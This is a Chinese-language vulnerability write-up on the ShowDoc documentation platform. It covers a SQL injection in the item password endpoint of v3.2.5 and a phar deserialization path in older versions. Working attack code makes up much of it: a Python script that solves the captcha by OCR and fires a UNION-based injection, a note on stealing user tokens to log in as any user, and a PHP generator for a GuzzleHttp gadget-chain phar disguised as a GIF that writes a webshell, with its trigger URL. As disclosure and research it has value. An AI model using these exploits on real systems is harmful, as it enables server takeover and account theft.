ShowDocV3.2.5最新版SQL注入及老版本反序列化分析

ShowDocV3.2.5最新版SQL注入及老版本反序列化分析

注入

从提交记录我们能找到一些提示

https://github.com/star7th/showdoc/commit/805983518081660594d752573273b8fb5cbbdb30#diff-b4363835fc1321f859d1faaad5a5a283db695849ca98c4e949fbf1bed8c84a31

首先首当其冲,第一行先是将函数new_is_writeable权限改为private,这应该是作者一开始的失误(这个函数在其他地方都有出现且都是private修饰,仅仅在这里是public),而这个函数的作用聪明一点看了某步的通告都知道应该能猜到和phar反序列化有关

其后看其他修改的地方或许你会感到很懵逼,似乎都与注入没关系,仔细看猜测应该是架构代码方面的变动,从一些细节也能看到其实改动挺糙的,但看起来改了很久。

看遍前台功能的代码后会发现注入点非常简单,https://github.com/star7th/showdoc/blob/5b6b095899b71af7728a8371c668bb288ccfd1e9/server/Application/Api/Controller/ItemController.class.php#L577,在这里可以看到item_id其实是没有做类型转换,后面的代码中`$item = D(“Item”)->where(“item_id = ‘$item_id’ “)->find();`item_id直接做了拼接(多说一下要想防止注入应该使用前面代码中的数组的方式实现参数绑定)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
public function pwd()
{
$item_id = I("item_id");
$page_id = I("page_id/d");
$password = I("password");
$refer_url = I('refer_url');
$captcha_id = I("captcha_id");
$captcha = I("captcha");

if (!D("Captcha")->check($captcha_id, $captcha)) {
$this->sendError(10206, L('verification_code_are_incorrect'));
return;
}

if (!is_numeric($item_id)) {
$item_domain = $item_id;
}
//判断个性域名
if ($item_domain) {
$item = D("Item")->where("item_domain = '%s'", array($item_domain))->find();
if ($item['item_id']) {
$item_id = $item['item_id'];
}
}

if ($page_id > 0) {
$page = M("Page")->where(" page_id = '$page_id' ")->find();
if ($page) {
$item_id = $page['item_id'];
}
}
$item = D("Item")->where("item_id = '$item_id' ")->find();
if ($password && $item['password'] == $password) {
session("visit_item_" . $item_id, 1);
$this->sendResult(array("refer_url" => base64_decode($refer_url)));
} else {
$this->sendError(10010, L('access_password_are_incorrect'));
}
}

另外在利用时会受验证码的影响,当然由于生成的验证码其实是非常简单的,根据以上逻辑我们很容易得到验证脚本,在以下脚本中只要返回{"error_code":0,"data":{"refer_url":"Hacked By Y4tacker"}}即利用成功(本篇以Mysql环境做分析,SQLite类似不做过多重复工作)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import ddddocr
import requests

ocr = ddddocr.DdddOcr()
sess = requests.session()

pre_url = "http://xxx:1235"


def capture():
captcha_id = sess.get(pre_url + "/server/index.php?s=/api/common/createCaptcha").json()['data']['captcha_id']
captcha = sess.get(pre_url + f"/server/index.php?s=/api/common/showCaptcha&captcha_id={captcha_id}").content
captcha_code = ocr.classification(captcha)
return captcha_id, captcha_code


captcha_id, captcha_code = capture()

r = sess.get(
url=f"http://xxxx:1235/server/index.php?s=/Api/Item/pwd&captcha_id={captcha_id}&captcha={captcha_code}&item_id=y4') union select 1,2,3,4,5,6,7,8,9,10,11,12--&password=6&refer_url=SGFja2VkIEJ5IFk0dGFja2Vy&1716885664000").text

print(r)

在后利用的过程中会发现一个很有意思的表user_token,其中存了token字段

这是一个非常有意思的字段,在很多函数中都会用到checkLogin来判断是否登录,如果我们知道token那么就能直接登录任意用户了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public function checkLogin($redirect = true)
{

if (!session("login_user")) {
$user_token = I("user_token") ? I("user_token") : cookie('cookie_token');
$user_token = $user_token ? $user_token : $_REQUEST['user_token'];
if ($user_token) {
$ret = D("UserToken")->getToken($user_token);
if ($ret && $ret['token_expire'] > time()) {
D("UserToken")->setLastTime($user_token);
$login_user = D("User")->where("uid = $ret[uid]")->find();
unset($ret['password']);
session("login_user", $login_user);
return $login_user;
}
}
if ($redirect) {
$this->sendError(10102);
exit();
}
} else {
return session("login_user");
}
}

V < 3.2.5 反序列化

首先既然是TP的框架那么首当其冲我们就可以先看看ThinkPHP的版本,如果有合适的版本那么直接就可以拿来用了

https://github.com/star7th/showdoc/blob/v3.2.4/server/ThinkPHP/ThinkPHP.php中我们不难发现版本居然是`3.2.3`,看到这个老版本号就知道想通过TP的反序列化直接RCE不太现实了,但我们不必沮丧,这个系统有composer包管理,因此我们便可以看看能不能通过第三方依赖实现反序列化到RCE的效果

https://github.com/star7th/showdoc/tree/v3.2.4/server/vendor

当然答案是YES,在访问后我们一眼能看到一个老朋友GuzzleHttp,因此我们可以直接用现成的链子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<?php

namespace GuzzleHttp\Cookie{

class SetCookie {
private static $defaults = [
'Name' => null,
'Value' => null,
'Domain' => null,
'Path' => '/',
'Max-Age' => null,
'Expires' => null,
'Secure' => false,
'Discard' => false,
'HttpOnly' => false
];
function __construct()
{
$this->data['Expires'] = '<?php phpinfo();?>';
$this->data['Discard'] = 0;
}
}

class CookieJar{
private $cookies = [];
private $strictMode;
function __construct() {
$this->cookies[] = new SetCookie();
}
}

class FileCookieJar extends CookieJar {
private $filename;
private $storeSessionCookies;
function __construct() {
parent::__construct();
$this->filename = "y4tacker.php";
$this->storeSessionCookies = true;
}
}
}

namespace{
$pop = new \GuzzleHttp\Cookie\FileCookieJar();
$phar = new \Phar("y4tacker.phar");
$phar->startBuffering();
$phar->setStub('GIF89a'."__HALT_COMPILER();");
$phar->setMetadata($pop);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
}

之后在后台上传文件得到文件名后,就能访问/server/index.php?s=/home/index/new_is_writeable&file=phar://../Public/Uploads/xxxx-xx-xx/xx.png触发反序列化实现webshell写入

后话

正如开篇说的那般,此次提交仅仅只修复了反序列化触发的点,并没有修复sql注入也就导致了新版依然暴露在被攻击的风险当中

今天再看终于被修复了:https://github.com/star7th/showdoc/commit/84fc28d07c5dfc894f5fbc6e8c42efd13c976fda,可以安心删除博客密码了